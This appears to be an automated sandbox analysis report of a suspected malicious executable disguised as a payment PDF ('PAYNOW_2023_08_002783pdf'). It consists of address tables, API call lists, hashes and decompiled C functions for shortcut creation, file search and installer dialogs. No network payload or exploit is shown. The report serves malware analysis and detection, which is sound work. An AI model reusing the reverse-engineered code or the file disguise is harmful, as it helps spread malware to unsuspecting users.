0x6ecb2098
0x00000000
0x6ecb208a
0x6ecb205c
0x6ecb205f
0x6ecb2062
0x00000000
0x00000000
0x6ecb2064
0x00000000
0x6ecb2064
0x6ecb2051
0x6ecb2053
0x00000000
0x00000000
0x00000000
0x6ecb2053
0x6ecb1c94
0x6ecb1c94
0x6ecb1c95
0x6ecb1dde
0x6ecb1dde
0x6ecb1de5
0x6ecb1de8
0x00000000
0x00000000
0x6ecb1df5
0x00000000
0x6ecb1fdb
0x6ecb1fde
0x6ecb1fe1
0x6ecb1fe1
0x6ecb1fe2
0x6ecb1fe5
0x6ecb1fe7
0x6ecb1fe9
0x00000000
0x00000000
0x6ecb1feb
0x6ecb1feb
0x6ecb1fee
0x6ecb2000
0x6ecb2003
0x6ecb2006
0x6ecb200c
0x00000000
0x6ecb200c
0x6ecb1ff0
0x6ecb1ff0
0x6ecb1ff2
0x00000000
0x00000000
0x6ecb1ff4
0x6ecb1ff6
0x6ecb1ff8
0x6ecb1ff8
0x6ecb1ff8
0x6ecb1ff9
0x6ecb1ffb
0x6ecb1ffd
0x6ecb1fe1
0x6ecb1fe2
0x6ecb1fe5
0x6ecb1fe7
0x6ecb1fe9
0x00000000
0x00000000
0x00000000
0x6ecb1fe9
0x00000000
0x6ecb1e3c
0x00000000
0x00000000
0x6ecb1e48
0x00000000
0x00000000
0x6ecb1e2f
0x6ecb1e33
0x6ecb1e37
0x00000000
0x00000000
0x6ecb1fad
0x6ecb1fb1
0x00000000
0x00000000
0x6ecb1fb7
0x6ecb1fbf
0x6ecb1fc6
0x6ecb1fce
0x00000000
0x00000000
0x6ecb1f15
0x6ecb1f15
0x00000000
0x00000000
0x6ecb1e51
0x00000000
0x00000000
0x6ecb202b
0x00000000
0x00000000
0x6ecb1f1d
0x6ecb1f1f
0x6ecb1f1f
0x00000000
0x00000000
0x6ecb201b
0x00000000
0x00000000
0x6ecb201f
0x00000000
0x00000000
0x6ecb2027
0x00000000
0x00000000
0x6ecb1f64
0x6ecb1f66
0x6ecb1f66
0x00000000
0x00000000
0x6ecb1f2f
0x6ecb1f31
0x6ecb1f31
0x00000000
0x00000000
0x6ecb1f41
0x6ecb1f43
0x6ecb1f43
0x00000000
0x00000000
0x6ecb1f72
0x6ecb1f74
0x6ecb1f74
0x00000000
0x00000000
0x6ecb1f4c
0x6ecb1f4e
0x6ecb1f4e
0x00000000
0x00000000
0x6ecb1f53
0x00000000
0x00000000
0x6ecb2023
0x6ecb202d
0x6ecb202d
0x00000000
0x00000000
0x6ecb1f7d
0x6ecb1f81
0x6ecb1f86
0x6ecb1f89
0x6ecb1f8a
0x6ecb1f8d
0x6ecb1f93
0x6ecb1f93
0x00000000
0x00000000
0x6ecb2013
0x00000000
0x00000000
0x6ecb1f57
0x6ecb1f57
0x00000000
0x00000000
0x6ecb1e58
0x6ecb1e58
0x00000000
0x00000000
0x6ecb1f6b
0x6ecb1f6d
0x6ecb1f6d
0x00000000
0x00000000
0x6ecb1dfc
0x6ecb1e02
0x6ecb1e05
0x6ecb1e07
0x6ecb1e07
0x6ecb1e0a
0x6ecb1e0e
0x6ecb1e1b
0x6ecb1e1d
0x6ecb1e23
0x6ecb1e23
0x6ecb1e23
0x00000000
0x00000000
0x6ecb1f20
0x6ecb1f20
0x6ecb1f22
0x6ecb1f29
0x00000000
0x00000000
0x6ecb1f67
0x6ecb1f67
0x00000000
0x00000000
0x6ecb1f32
0x6ecb1f32
0x6ecb1f34
0x6ecb1f3b
0x00000000
0x00000000
0x6ecb1f44
0x6ecb1f44
0x6ecb1f46
0x00000000
0x00000000
0x6ecb1f75
0x6ecb1f75
0x00000000
0x00000000
0x6ecb1f4f
0x6ecb1f4f
0x00000000
0x00000000
0x6ecb1f9b
0x6ecb1f9f
0x6ecb1fa4
0x6ecb1fa7
0x00000000
0x00000000
0x6ecb1f59
0x6ecb1f59
0x6ecb1f5c
0x6ecb1f5e
0x00000000
0x00000000
0x6ecb1f6e
0x6ecb1f6e
0x6ecb1f77
0x6ecb1f77
0x6ecb1e5a
0x6ecb1e5a
0x6ecb1e5d
0x6ecb1e64
0x6ecb1e66
0x6ecb1e68
0x6ecb1e6f
0x6ecb1e72
0x6ecb1e77
0x6ecb1e79
0x6ecb1e7b
0x6ecb1e7f
0x6ecb1e85
0x6ecb1e8b
0x6ecb1e8b
0x6ecb1e8d
0x6ecb1e8d
0x6ecb1e8e
0x6ecb1e8e
0x6ecb1e92
0x6ecb1e98
0x6ecb1e9a
0x6ecb1e9e
0x6ecb1ea3
0x6ecb1ea3
0x6ecb1ea5
0x6ecb1ea5
0x6ecb1ea8
0x6ecb1eab
0x6ecb1eb4
0x6ecb1eb7
0x6ecb1eba
0x6ecb1eba
0x6ecb1ebc
0x6ecb1ebf
0x6ecb1ec5
0x6ecb1ecb
0x6ecb1ecb
0x6ecb1ecd
0x00000000
0x00000000
0x6ecb1ed3
0x6ecb1ed3
0x6ecb1ed7
0x6ecb1ede
0x6ecb1f02
0x6ecb1f02
0x6ecb1f06
0x6ecb1f08
0x6ecb1f0b
0x6ecb1f0b
0x6ecb1f0e
0x6ecb1f0e
0x00000000
0x6ecb1f06
0x6ecb1ee3
0x6ecb1ee6
0x6ecb1ee6
0x6ecb1eed
0x6ecb1eef
0x6ecb1ef2
0x6ecb1ef9
0x6ecb1efa
0x6ecb1f00
0x6ecb1f00
0x00000000
0x6ecb1f00
0x6ecb1ef4
0x6ecb1ef7
0x00000000
0x00000000
0x00000000
0x6ecb1ef7
0x6ecb1e87
0x6ecb1e89
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ecb1df5
0x6ecb1c9b
0x6ecb1c9b
0x6ecb1c9c
0x6ecb1ddb
0x00000000
0x6ecb1ddb
0x6ecb1ca2
0x6ecb1ca3
0x00000000
0x00000000
0x6ecb1ca9
0x6ecb1cac
0x6ecb1da0
0x6ecb1da0
0x6ecb1da3
0x6ecb1db8
0x6ecb1dba
0x6ecb1dba
0x6ecb1dbb
0x6ecb1dbe
0x6ecb1dc1
0x6ecb1dcd
0x6ecb1dcd
0x6ecb1dcd
0x6ecb1dc3
0x6ecb1dc3
0x6ecb1dc3
0x6ecb1dd3
0x00000000
0x6ecb1dd3
0x6ecb1da5
0x6ecb1da5
0x6ecb1da6
0x6ecb1db4
0x00000000
0x6ecb1db4
0x6ecb1da9
0x6ecb1daa
0x00000000
0x00000000
0x6ecb1db0
0x00000000
0x6ecb1db0
0x6ecb1cb2
0x6ecb1d9c
0x00000000
0x6ecb1d9c
0x6ecb1cb8
0x6ecb1cb8
0x6ecb1cbb
0x6ecb1ce4
0x00000000
0x6ecb1ce4
0x6ecb1cbd
0x6ecb1cbd
0x6ecb1cc0
0x6ecb1cda
0x00000000
0x6ecb1cda
0x6ecb1cc2
0x6ecb1cc2
0x6ecb1cc5
0x6ecb1cd4
0x00000000
0x6ecb1cd4
0x6ecb1cc8
0x6ecb1cc9
0x00000000
0x00000000
0x6ecb1ccb
0x00000000
0x6ecb1b83
0x6ecb1b83
0x6ecb1b86
0x00000000
0x6ecb1b86
0x6ecb1b7d
0x6ecb1b6b
0x6ecb1b6f
0x00000000
0x00000000
0x6ecb1b71
0x6ecb1b74
0x00000000
0x00000000
0x00000000
0x6ecb1b74
0x6ecb1b05
0x6ecb1b08
0x6ecb1b3e
0x6ecb1b41
0x00000000
0x6ecb1b47
0x6ecb1b49
0x6ecb1b4d
0x6ecb1b54
0x6ecb1b5b
0x6ecb1b5e
0x6ecb1b61
0x00000000
0x6ecb1b61
0x6ecb1b41
0x6ecb1b0a
0x6ecb1b0b
0x6ecb1b26
0x6ecb1b29
0x00000000
0x6ecb1b2f
0x6ecb1b2f
0x6ecb1b36
0x6ecb1b39
0x00000000
0x6ecb1b39
0x6ecb1b29
0x6ecb1b10
0x00000000
0x6ecb1b16
0x6ecb1b16
0x6ecb1b1d
0x00000000
0x6ecb1b1d
0x6ecb1b10
0x6ecb1d09
0x6ecb1d0e
0x6ecb1d13
0x6ecb1d17
0x6ecb21c6
0x6ecb21cc
0x6ecb1d29
0x6ecb1d2b
0x6ecb1d2c
0x6ecb20f1
0x6ecb20f4
0x6ecb20f7
0x6ecb2114
0x6ecb211a
0x6ecb211c
0x6ecb2122
0x6ecb2139
0x6ecb2139
0x6ecb2139
0x6ecb2146
0x6ecb214c
0x6ecb214f
0x6ecb2155
0x6ecb2157
0x6ecb215a
0x6ecb215c
0x6ecb2163
0x6ecb2168
0x6ecb216b
0x6ecb216d
0x6ecb2172
0x6ecb2184
0x6ecb2184
0x6ecb2172
0x6ecb216b
0x6ecb215a
0x6ecb218a
0x6ecb218d
0x6ecb2197
0x6ecb219f
0x6ecb21ab
0x6ecb21b1
0x6ecb21b4
0x6ecb20e6
0x6ecb20e6
0x00000000
0x6ecb20e6
0x6ecb21ba
0x6ecb21c0
0x6ecb21c0
0x00000000
0x00000000
0x6ecb21c2
0x6ecb21c2
0x6ecb21c2
0x6ecb21c2
0x00000000
0x6ecb218f
0x6ecb218f
0x6ecb2195
0x00000000
0x00000000
0x00000000
0x6ecb2195
0x6ecb218d
0x6ecb2125
0x6ecb212b
0x6ecb212d
0x6ecb2133
0x00000000
0x00000000
0x00000000
0x6ecb2133
0x6ecb20f9
0x6ecb2100
0x6ecb2106
0x6ecb210c
0x00000000
0x6ecb210c
0x6ecb1d32
0x6ecb1d33
0x6ecb20d0
0x6ecb20d0
0x6ecb20d6
0x6ecb20d9
0x00000000
0x00000000
0x6ecb20e0
0x6ecb20e5
0x00000000
0x6ecb20e5
0x6ecb1d3a
0x00000000
0x00000000
0x6ecb1d40
0x6ecb1d49
0x6ecb1d4e
0x6ecb1d54
0x00000000
0x00000000
0x6ecb1d5a
0x6ecb1d67
0x6ecb1d6d
0x6ecb1d77
0x6ecb1d7d
0x6ecb1d85
0x6ecb1d95
0x00000000
0x6ecb1d95

APIs

Part of subcall function 6ECB1215: GlobalAlloc.KERNELBASE(00000040,6ECB1233,?,6ECB12CF,-6ECB404B,6ECB11AB,-000000A0), ref: 6ECB121D

GlobalAlloc.KERNEL32(00000040,000014A4), ref: 6ECB1BC4
lstrcpyA.KERNEL32(00000008,?), ref: 6ECB1C0C
lstrcpyA.KERNEL32(00000408,?), ref: 6ECB1C16
GlobalFree.KERNEL32(00000000), ref: 6ECB1C29
GlobalFree.KERNEL32(?), ref: 6ECB1D09
GlobalFree.KERNEL32(?), ref: 6ECB1D0E
GlobalFree.KERNEL32(?), ref: 6ECB1D13
GlobalFree.KERNEL32(00000000), ref: 6ECB1EFA
lstrcpyA.KERNEL32(?,?), ref: 6ECB2098
GetModuleHandleA.KERNEL32(00000008), ref: 6ECB2114
LoadLibraryA.KERNEL32(00000008), ref: 6ECB2125
GetProcAddress.KERNEL32(?,?), ref: 6ECB217E
lstrlenA.KERNEL32(00000408), ref: 6ECB2198

Memory Dump Source

Source File: 00000004.00000002.88644476902.000000006ECB1000.00000020.00000001.01000000.00000005.sdmp, Offset: 6ECB0000, based on PE: true

Associated: 00000004.00000002.88644409053.000000006ECB0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.88644544842.000000006ECB3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.88644608941.000000006ECB5000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6ecb0000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: Global$Free$lstrcpy$Alloc$AddressHandleLibraryLoadModuleProclstrlen
String ID:
API String ID: 245916457-0
Opcode ID: b7d42b00f7aced4dd70e01630c7673cad4b0f40bf147fc9451c0e63297d91f70
Instruction ID: ae21adcdd78b387b983d3edb2ca4d6e11a97e0b97f5e5dbe14a65ce94db5298f
Opcode Fuzzy Hash: b7d42b00f7aced4dd70e01630c7673cad4b0f40bf147fc9451c0e63297d91f70
Instruction Fuzzy Hash: C722BA71D5424A9FDB508FEEC8947EEBBF4FB06305F20452AD1A1E3284EB745A89CB50

Uniqueness

Uniqueness Score: -1.00%

Function 0040216B Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 139
comCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E0040216B() {
				signed int _t55;
				void* _t59;
				intOrPtr* _t63;
				intOrPtr _t64;
				intOrPtr* _t65;
				intOrPtr* _t67;
				intOrPtr* _t69;
				intOrPtr* _t71;
				intOrPtr* _t73;
				intOrPtr* _t75;
				intOrPtr* _t78;
				intOrPtr* _t80;
				intOrPtr* _t82;
				intOrPtr* _t84;
				int _t87;
				intOrPtr* _t95;
				signed int _t105;
				signed int _t109;
				void* _t111;

				 *(_t111 - 0x38) = E00402BCE(0xfffffff0);
				 *(_t111 - 0xc) = E00402BCE(0xffffffdf);
				 *((intOrPtr*)(_t111 - 0x88)) = E00402BCE("true");
				 *((intOrPtr*)(_t111 - 0x34)) = E00402BCE(0xffffffcd);
				 *((intOrPtr*)(_t111 - 0x78)) = E00402BCE(0x45);
				_t55 =  *(_t111 - 0x18);
				 *(_t111 - 0x90) = _t55 & 0x00000fff;
				_t105 = _t55 & 0x00008000;
				_t109 = _t55 >> 0x0000000c & 0x00000007;
				 *(_t111 - 0x74) = _t55 >> 0x00000010 & 0x0000ffff;
				if(E00405AC6( *(_t111 - 0xc)) == 0) {
					E00402BCE(0x21);
				}
				_t59 = _t111 + 8;
				__imp__CoCreateInstance(0x408418, _t87, "true", 0x408408, _t59);
				if(_t59 < _t87) {
					L15:
					 *((intOrPtr*)(_t111 - 4)) = 1;
					_push(0xfffffff0);
				} else {
					_t63 =  *((intOrPtr*)(_t111 + 8));
					_t64 =  *((intOrPtr*)( *_t63))(_t63, 0x408428, _t111 - 0x30);
					 *((intOrPtr*)(_t111 - 8)) = _t64;
					if(_t64 >= _t87) {
						_t67 =  *((intOrPtr*)(_t111 + 8));
						 *((intOrPtr*)(_t111 - 8)) =  *((intOrPtr*)( *_t67 + 0x50))(_t67,  *(_t111 - 0xc));
						if(_t105 == _t87) {
							_t84 =  *((intOrPtr*)(_t111 + 8));
							 *((intOrPtr*)( *_t84 + 0x24))(_t84, "C:\\Users\\Arthur\\AppData\\Local\\Temp\\valgmuligheder\\devirnr\\Lselystens143");
						}
						if(_t109 != _t87) {
							_t82 =  *((intOrPtr*)(_t111 + 8));
							 *((intOrPtr*)( *_t82 + 0x3c))(_t82, _t109);
						}
						_t69 =  *((intOrPtr*)(_t111 + 8));
						 *((intOrPtr*)( *_t69 + 0x34))(_t69,  *(_t111 - 0x74));
						_t95 =  *((intOrPtr*)(_t111 - 0x34));
						if( *_t95 != _t87) {
							_t80 =  *((intOrPtr*)(_t111 + 8));
							 *((intOrPtr*)( *_t80 + 0x44))(_t80, _t95,  *(_t111 - 0x90));
						}
						_t71 =  *((intOrPtr*)(_t111 + 8));
						 *((intOrPtr*)( *_t71 + 0x2c))(_t71,  *((intOrPtr*)(_t111 - 0x88)));
						_t73 =  *((intOrPtr*)(_t111 + 8));
						 *((intOrPtr*)( *_t73 + 0x1c))(_t73,  *((intOrPtr*)(_t111 - 0x78)));
						if( *((intOrPtr*)(_t111 - 8)) >= _t87) {
							 *((intOrPtr*)(_t111 - 8)) = 0x80004005;
							if(MultiByteToWideChar(_t87, _t87,  *(_t111 - 0x38), 0xffffffff,  *(_t111 - 0xc), 0x400) != 0) {
								_t78 =  *((intOrPtr*)(_t111 - 0x30));
								 *((intOrPtr*)(_t111 - 8)) =  *((intOrPtr*)( *_t78 + 0x18))(_t78,  *(_t111 - 0xc), "true");
							}
						}
						_t75 =  *((intOrPtr*)(_t111 - 0x30));
						 *((intOrPtr*)( *_t75 + 8))(_t75);
					}
					_t65 =  *((intOrPtr*)(_t111 + 8));
					 *((intOrPtr*)( *_t65 + 8))(_t65);
					if( *((intOrPtr*)(_t111 - 8)) >= _t87) {
						_push(0xfffffff4);
					} else {
						goto L15;
					}
				}
				E00401423();
				 *0x4247c8 =  *0x4247c8 +  *((intOrPtr*)(_t111 - 4));
				return 0;
			}

0x00402174
0x0040217e
0x00402188
0x00402195
0x004021a0
0x004021a3
0x004021bd
0x004021c3
0x004021c9
0x004021cc
0x004021d6
0x004021da
0x004021da
0x004021df
0x004021f0
0x004021f8
0x004022d4
0x004022d4
0x004022db
0x004021fe
0x004021fe
0x0040220d
0x00402211
0x00402214
0x0040221a
0x00402228
0x0040222b
0x0040222d
0x00402238
0x00402238
0x0040223d
0x0040223f
0x00402246
0x00402246
0x00402249
0x00402252
0x00402255
0x0040225a
0x0040225c
0x00402269
0x00402269
0x0040226c
0x00402278
0x0040227b
0x00402284
0x0040228a
0x00402291
0x004022aa
0x004022ac
0x004022ba
0x004022ba
0x004022aa
0x004022bd
0x004022c3
0x004022c3
0x004022c6
0x004022cc
0x004022d2
0x004022e7
0x00000000
0x00000000
0x00000000
0x004022d2
0x004022dd
0x00402a5d
0x00402a69

APIs

CoCreateInstance.OLE32(00408418,?,?,00408408,?,?,00000045,000000CD,?,000000DF,000000F0), ref: 004021F0
MultiByteToWideChar.KERNEL32(?,?,?,000000FF,?,00000400,?,?,00408408,?,?,00000045,000000CD,?,000000DF,000000F0), ref: 004022A2

Strings

C:\Users\user\AppData\Local\Temp\valgmuligheder\devirnr\Lselystens143, xrefs: 00402230

Memory Dump Source

Source File: 00000004.00000002.88589632828.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.88589573110.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589725109.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88590117082.0000000000437000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID: C:\Users\user\AppData\Local\Temp\valgmuligheder\devirnr\Lselystens143
API String ID: 123533781-13139423
Opcode ID: 337e50965008046281696298112d8d2f7bd2d47ffe4874b4a08d180513f81c13
Instruction ID: 1d5fc0eda79a0a672284adf98007a832727f4b93af1a8b9a4894ceaf33dc30f5
Opcode Fuzzy Hash: 337e50965008046281696298112d8d2f7bd2d47ffe4874b4a08d180513f81c13
Instruction Fuzzy Hash: 45510471A00208AFCB00DFE4CA88A9D7BB6EF48314F2041BAF515EB2D1DA799981CB54

Uniqueness

Uniqueness Score: -1.00%

Function 004027A1 Relevance: 1.5, APIs: 1, Instructions: 29
fileCOMMON

Download Yara Rule

C-Code - Quality: 39%

			E004027A1(char __ebx, char* __edi, char* __esi) {
				void* _t19;

				if(FindFirstFileA(E00402BCE(?str?), _t19 - 0x1d0) != 0xffffffff) {
					E0040601F(__edi, _t6);
					_push(_t19 - 0x1a4);
					_push(__esi);
					E004060C1();
				} else {
					 *__edi = __ebx;
					 *__esi = __ebx;
					 *((intOrPtr*)(_t19 - 4)) = 1;
				}
				 *0x4247c8 =  *0x4247c8 +  *((intOrPtr*)(_t19 - 4));
				return 0;
			}

0x004027b9
0x004027cd
0x004027d8
0x004027d9
0x00402918
0x004027bb
0x004027bb
0x004027bd
0x004027bf
0x004027bf
0x00402a5d
0x00402a69

APIs

FindFirstFileA.KERNEL32(00000000,?,?), ref: 004027B0

Memory Dump Source

Source File: 00000004.00000002.88589632828.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.88589573110.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589725109.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88590117082.0000000000437000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 2052ac60e94b4b2aee6d5db1d937540094f6649242f4bec3cf668b4a6a1e6f36
Instruction ID: 13e9d4e2be50c596067d6900ef2af7155ed35788a2bbd6a4100e2a10f5e5ac7a
Opcode Fuzzy Hash: 2052ac60e94b4b2aee6d5db1d937540094f6649242f4bec3cf668b4a6a1e6f36
Instruction Fuzzy Hash: 0AF0A771604110DFD710EB649949AEE77A8DF51314F20057BF112B20C2D7B889469B2A

Uniqueness

Uniqueness Score: -1.00%

Function 00404B4A Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 491
windowmemoryCOMMON

Download Yara Rule

C-Code - Quality: 95%

			E00404B4A(struct HWND__* _a4, int _a8, signed int _a12, int _a16) {
				struct HWND__* _v8;
				struct HWND__* _v12;
				long _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				signed char* _v32;
				int _v36;
				signed int _v44;
				int _v48;
				signed int* _v60;
				signed char* _v64;
				signed int _v68;
				long _v72;
				void* _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				void* _v88;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t203;
				void* _t205;
				intOrPtr _t206;
				intOrPtr _t207;
				long _t212;
				signed int _t216;
				signed int _t227;
				void* _t230;
				void* _t231;
				int _t237;
				long _t242;
				long _t243;
				signed int _t244;
				signed int _t250;
				signed int _t252;
				signed char _t253;
				signed char _t259;
				void* _t264;
				void* _t266;
				signed char* _t284;
				signed char _t285;
				long _t287;
				long _t290;
				void* _t291;
				signed int _t300;
				signed int _t308;
				void* _t309;
				void* _t310;
				signed char* _t316;
				int _t320;
				int _t321;
				signed int* _t322;
				int _t323;
				long _t324;
				signed int _t325;
				long _t327;
				int _t328;
				signed int _t329;
				void* _t331;

				_v12 = GetDlgItem(_a4, 0x3f9);
				_v8 = GetDlgItem(_a4, 0x408);
				_t331 = SendMessageA;
				_v24 =  *0x424768;
				_v28 =  *0x424734 + 0x94;
				_t320 = 0x10;
				if(_a8 != 0x110) {
					L23:
					if(_a8 != 0x405) {
						_t298 = _a16;
					} else {
						_a12 = 0;
						_t298 = 1;
						_a8 = 0x40f;
						_a16 = 1;
					}
					if(_a8 == 0x4e || _a8 == 0x413) {
						_v16 = _t298;
						if(_a8 == 0x413 ||  *((intOrPtr*)(_t298 + 4)) == 0x408) {
							if(( *0x42473d & 0x00000002) != 0) {
								L41:
								if(_v16 != 0) {
									_t242 = _v16;
									if( *((intOrPtr*)(_t242 + 8)) == 0xfffffe6e) {
										SendMessageA(_v8, 0x419, 0,  *(_t242 + 0x5c));
									}
									_t243 = _v16;
									if( *((intOrPtr*)(_t243 + 8)) == 0xfffffe6a) {
										_t298 = _v24;
										_t244 =  *(_t243 + 0x5c);
										if( *((intOrPtr*)(_t243 + 0xc)) != 2) {
											 *(_t244 * 0x418 + _t298 + 8) =  *(_t244 * 0x418 + _t298 + 8) & 0xffffffdf;
										} else {
											 *(_t244 * 0x418 + _t298 + 8) =  *(_t244 * 0x418 + _t298 + 8) | 0x00000020;
										}
									}
								}
								goto L48;
							}
							if(_a8 == 0x413) {
								L33:
								_t298 = 0 | _a8 != 0x00000413;
								_t250 = E00404A98(_v8, _a8 != 0x413);
								_t325 = _t250;
								if(_t325 >= 0) {
									_t298 = _t250 * 0x418 + _v24 + 8;
									_t252 =  *_t298;
									if((_t252 & 0x00000010) == 0) {
										if((_t252 & 0x00000040) == 0) {
											_t253 = _t252 ^ 0x00000001;
										} else {
											_t259 = _t252 ^ 0x00000080;
											if(_t259 >= 0) {
												_t253 = _t259 & 0x000000fe;
											} else {
												_t253 = _t259 | 0x00000001;
											}
										}
										 *_t298 = _t253;
										E0040117D(_t325);
										_a12 = _t325 + 1;
										_a16 =  !( *0x42473c) >> 0x00000008 & 0x00000001;
										_a8 = 0x40f;
									}
								}
								goto L41;
							}
							_t298 = _a16;
							if( *((intOrPtr*)(_a16 + 8)) != 0xfffffffe) {
								goto L41;
							}
							goto L33;
						} else {
							goto L48;
						}
					} else {
						L48:
						if(_a8 != 0x111) {
							L56:
							if(_a8 == 0x200) {
								SendMessageA(_v8, 0x200, 0, 0);
							}
							if(_a8 == 0x40b) {
								_t230 =  *0x420d0c; // 0x0
								if(_t230 != 0) {
									ImageList_Destroy(_t230);
								}
								_t231 =  *0x420d20; // 0x0
								if(_t231 != 0) {
									GlobalFree(_t231);
								}
								 *0x420d0c = 0;
								 *0x420d20 = 0;
								 *0x4247a0 = 0;
							}
							if(_a8 != 0x40f) {
								L90:
								if(_a8 == 0x420 && ( *0x42473d & 0x00000001) != 0) {
									_t321 = (0 | _a16 == 0x00000020) << 3;
									ShowWindow(_v8, _t321);
									ShowWindow(GetDlgItem(_a4, 0x3fe), _t321);
								}
								goto L93;
							} else {
								E004011EF(_t298, 0, 0);
								_t203 = _a12;
								if(_t203 != 0) {
									if(_t203 != 0xffffffff) {
										_t203 = _t203 - 1;
									}
									_push(_t203);
									_push("true");
									E00404B18();
								}
								if(_a16 == 0) {
									L75:
									E004011EF(_t298, 0, 0);
									_t205 =  *0x420d20; // 0x0
									_v36 = _t205;
									_t206 =  *0x424768;
									_v64 = 0xf030;
									_v24 = 0;
									if( *0x42476c <= 0) {
										L86:
										if( *0x42472c == 4) {
											InvalidateRect(_v8, 0, "true");
										}
										_t207 =  *0x423efc; // 0x6b03ef
										if( *((intOrPtr*)(_t207 + 0x10)) != 0) {
											E00404A53(0x3ff, 0xfffffffb, E00404A6B("true"));
										}
										goto L90;
									}
									_t322 = _t206 + 8;
									do {
										_t212 =  *((intOrPtr*)(_v36 + _v24 * 4));
										if(_t212 != 0) {
											_t300 =  *_t322;
											_v72 = _t212;
											_v76 = 8;
											if((_t300 & 0x00000001) != 0) {
												_v76 = 9;
												_v60 =  &(_t322[4]);
												_t322[0] = _t322[0] & 0x000000fe;
											}
											if((_t300 & 0x00000040) == 0) {
												_t216 = (_t300 & 0x00000001) + 1;
												if((_t300 & 0x00000010) != 0) {
													_t216 = _t216 + 3;
												}
											} else {
												_push("true");
												_pop(_t216);
											}
											_v68 = (_t216 << 0x0000000b | _t300 & 0x00000008) + (_t216 << 0x0000000b | _t300 & 0x00000008) | _t300 & 0x00000020;
											SendMessageA(_v8, 0x1102, (_t300 >> 0x00000005 & 0x00000001) + 1, _v72);
											SendMessageA(_v8, 0x110d, 0,  &_v76);
										}
										_v24 = _v24 + 1;
										_t322 =  &(_t322[0x106]);
									} while (_v24 <  *0x42476c);
									goto L86;
								} else {
									_t323 = E004012E2( *0x420d20);
									E00401299(_t323);
									_t227 = 0;
									_t298 = 0;
									if(_t323 <= 0) {
										L74:
										SendMessageA(_v12, 0x14e, _t298, 0);
										_a16 = _t323;
										_a8 = 0x420;
										goto L75;
									} else {
										goto L71;
									}
									do {
										L71:
										if( *((intOrPtr*)(_v28 + _t227 * 4)) != 0) {
											_t298 = _t298 + 1;
										}
										_t227 = _t227 + 1;
									} while (_t227 < _t323);
									goto L74;
								}
							}
						}
						if(_a12 != 0x3f9 || _a12 >> 0x10 != 1) {
							goto L93;
						} else {
							_t237 = SendMessageA(_v12, 0x147, 0, 0);
							if(_t237 == 0xffffffff) {
								goto L93;
							}
							_t324 = SendMessageA(_v12, 0x150, _t237, 0);
							if(_t324 == 0xffffffff ||  *((intOrPtr*)(_v28 + _t324 * 4)) == 0) {
								_t324 = 0x20;
							}
							E00401299(_t324);
							SendMessageA(_a4, 0x420, 0, _t324);
							_a12 = _a12 | 0xffffffff;
							_a16 = 0;
							_a8 = 0x40f;
							goto L56;
						}
					}
				} else {
					_v36 = 0;
					 *0x4247a0 = _a4;
					_v20 = 2;
					 *0x420d20 = GlobalAlloc(0x40,  *0x42476c << 2);
					_t264 = LoadImageA( *0x424720, 0x6e, 0, 0, 0, 0);
					 *0x420d14 =  *0x420d14 | 0xffffffff;
					_v16 = _t264;
					 *0x420d1c = SetWindowLongA(_v8, 0xfffffffc, E0040515C);
					_t266 = ImageList_Create(_t320, _t320, 0x21, "true", 0);
					 *0x420d0c = _t266;
					ImageList_AddMasked(_t266, _v16, 0xff00ff);
					SendMessageA(_v8, 0x1109, "true",  *0x420d0c);
					if(SendMessageA(_v8, 0x111c, 0, 0) < _t320) {
						SendMessageA(_v8, 0x111b, _t320, 0);
					}
					DeleteObject(_v16);
					_t327 = 0;
					do {
						_t272 =  *((intOrPtr*)(_v28 + _t327 * 4));
						if( *((intOrPtr*)(_v28 + _t327 * 4)) != 0) {
							if(_t327 != 0x20) {
								_v20 = 0;
							}
